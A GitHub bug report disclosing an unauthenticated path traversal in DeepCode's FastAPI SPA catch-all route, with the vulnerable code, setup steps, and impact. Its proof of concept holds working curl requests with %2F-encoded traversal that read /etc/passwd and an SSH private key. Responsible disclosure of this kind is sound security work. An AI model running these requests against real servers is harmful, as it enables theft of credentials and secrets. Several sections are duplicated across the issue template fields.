Skip to content

[Bug]:Arbitrary File Read via Path Traversal in SPA Catch-All Route (/{full_path:path}) — Docker/Production Mode #126

@AAtomical

Description

@AAtomical

Do you need to file an issue?

  • I have searched the existing issues and this bug is not already filed.
  • I believe this is a legitimate bug, not just a question or feature request.

Describe the bug

Summary

A path traversal vulnerability exists in DeepCode's production backend server (new_ui/backend/main.py). When running in Docker/production mode (DEEPCODE_ENV=docker), the FastAPI application registers a catch-all SPA route GET /{full_path:path} that serves files from FRONTEND_DIST / full_path with no is_relative_to containment check. Starlette normalises literal ../ segments in URL paths, but %2F-encoded slashes and %2E%2E-encoded dots bypass this normalisation: the path parameter is decoded after routing, so the joined path can traverse arbitrarily outside FRONTEND_DIST. An attacker with network access to the server can read any file the DeepCode process has permission to access — SSH private keys, application secrets, and system files — with a single unauthenticated HTTP request.

Confirmed on commit c991dc22e67958a031f2e20595128a6a5fbd8f3d (latest main, 2026-02-09), run in production mode.


Details

The vulnerable code is in new_ui/backend/main.py, inside the IS_DOCKER branch, lines 128–135:

FRONTEND_DIST = NEW_UI_DIR / "frontend" / "dist"
IS_DOCKER = os.environ.get("DEEPCODE_ENV") == "docker"

if IS_DOCKER:
    # ...
    @app.get("/{full_path:path}")
    async def serve_spa(request: Request, full_path: str):
        """Serve frontend SPA - fallback to index.html for client-side routing"""
        file_path = FRONTEND_DIST / full_path          # ← no containment check
        if full_path and file_path.exists() and file_path.is_file():
            return FileResponse(file_path)
        return FileResponse(FRONTEND_DIST / "index.html")

FRONTEND_DIST / full_path joins the caller-supplied full_path directly onto the static files base directory. Python's pathlib does not strip .. segments at join time — only .resolve() does. Starlette strips literal ../ from URL paths during routing, but decodes percent-encoded characters inside matched path parameter values. Because %2F decodes to / and %2E%2E decodes to .. after the router has matched the route, the value reaching full_path can contain directory traversal sequences. The code then calls file_path.exists() on the un-resolved joined path, which the OS resolves by following .. components, successfully locating files outside FRONTEND_DIST.

For a typical Docker deployment the path to FRONTEND_DIST is deep enough that multiple traversal levels are needed, but the correct depth is trivially determined from the project layout and is constant across deployments.


Steps to reproduce

Proof of Concept

Step 1 — Start DeepCode in production mode

git clone https://github.com/HKUDS/DeepCode.git
cd DeepCode
pip install fastapi uvicorn pydantic-settings pyyaml

# Create required directories
mkdir -p new_ui/frontend/dist/assets
echo "<html><body>DeepCode</body></html>" > new_ui/frontend/dist/index.html
touch mcp_agent.config.yaml mcp_agent.secrets.yaml

# Start in Docker/production mode
DEEPCODE_ENV=docker python3 new_ui/backend/main.py

Expected output:

Starting DeepCode New UI Backend...
  Mode:     Docker/Production
  Frontend: Serving static files from .../new_ui/frontend/dist
INFO:  Uvicorn running on http://0.0.0.0:8000

Step 2 — Exploit

# Literal ../ is blocked by Starlette path normalisation
curl "http://127.0.0.1:8000/../../etc/passwd"
# → returns index.html (traversal stripped)

# %2F-encoded slashes bypass normalisation → arbitrary file read
curl "http://127.0.0.1:8000/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fprivate%2Fetc%2Fpasswd"
# → ## User Database
#   root:*:0:0:System Administrator:/var/root:/bin/sh ...

# Read SSH private key
curl "http://127.0.0.1:8000/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2F$(whoami)%2F.ssh%2Fid_rsa"
# → -----BEGIN OPENSSH PRIVATE KEY-----
#   b3BlbnNzaC1rZXktdjEAAAA...

The number of ../ levels required equals the depth of FRONTEND_DIST from the filesystem root, which is fixed by the project structure.

Confirmed results (commit c991dc2, tested 2026-04-29)

Request HTTP Content
GET /index.html 200 Legitimate SPA file
GET /../../etc/passwd (literal) 200 Fallback index.html — traversal blocked
GET /..%2F×10/private%2Fetc%2Fpasswd 200 Full /etc/passwd
GET /..%2F×10/Users/…/.ssh/id_rsa 200 RSA private key (BEGIN OPENSSH PRIVATE KEY)
Image Image Image Image

Impact

DeepCode is designed to run as a server (DEEPCODE_ENV=docker) accessible to users via a browser frontend. In that deployment, any client that can reach port 8000 and knows the correct traversal depth can read any file the DeepCode process has permission to access:

  • SSH private keys and TLS certificates
  • Application secrets (.env, mcp_agent.secrets.yaml, API keys)
  • System files (/etc/passwd, /etc/shadow on Linux)
  • Source code, configs, and any file in parent directories of the project

There is no authentication layer on the static file serving path. The endpoint is reachable without credentials.


Expected Behavior

Confirmed results (commit c991dc2, tested 2026-04-29)

Request HTTP Content
GET /index.html 200 Legitimate SPA file
GET /../../etc/passwd (literal) 200 Fallback index.html — traversal blocked
GET /..%2F×10/private%2Fetc%2Fpasswd 200 Full /etc/passwd
GET /..%2F×10/Users/…/.ssh/id_rsa 200 RSA private key (BEGIN OPENSSH PRIVATE KEY)
Image Image Image Image

Impact

DeepCode is designed to run as a server (DEEPCODE_ENV=docker) accessible to users via a browser frontend. In that deployment, any client that can reach port 8000 and knows the correct traversal depth can read any file the DeepCode process has permission to access:

  • SSH private keys and TLS certificates
  • Application secrets (.env, mcp_agent.secrets.yaml, API keys)
  • System files (/etc/passwd, /etc/shadow on Linux)
  • Source code, configs, and any file in parent directories of the project

There is no authentication layer on the static file serving path. The endpoint is reachable without credentials.


DeepCode Config Used

Impact

DeepCode is designed to run as a server (DEEPCODE_ENV=docker) accessible to users via a browser frontend. In that deployment, any client that can reach port 8000 and knows the correct traversal depth can read any file the DeepCode process has permission to access:

  • SSH private keys and TLS certificates
  • Application secrets (.env, mcp_agent.secrets.yaml, API keys)
  • System files (/etc/passwd, /etc/shadow on Linux)
  • Source code, configs, and any file in parent directories of the project

There is no authentication layer on the static file serving path. The endpoint is reachable without credentials.


Logs and screenshots

Confirmed results (commit c991dc2, tested 2026-04-29)

Request HTTP Content
GET /index.html 200 Legitimate SPA file
GET /../../etc/passwd (literal) 200 Fallback index.html — traversal blocked
GET /..%2F×10/private%2Fetc%2Fpasswd 200 Full /etc/passwd
GET /..%2F×10/Users/…/.ssh/id_rsa 200 RSA private key (BEGIN OPENSSH PRIVATE KEY)
Image Image Image Image

Additional Information

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions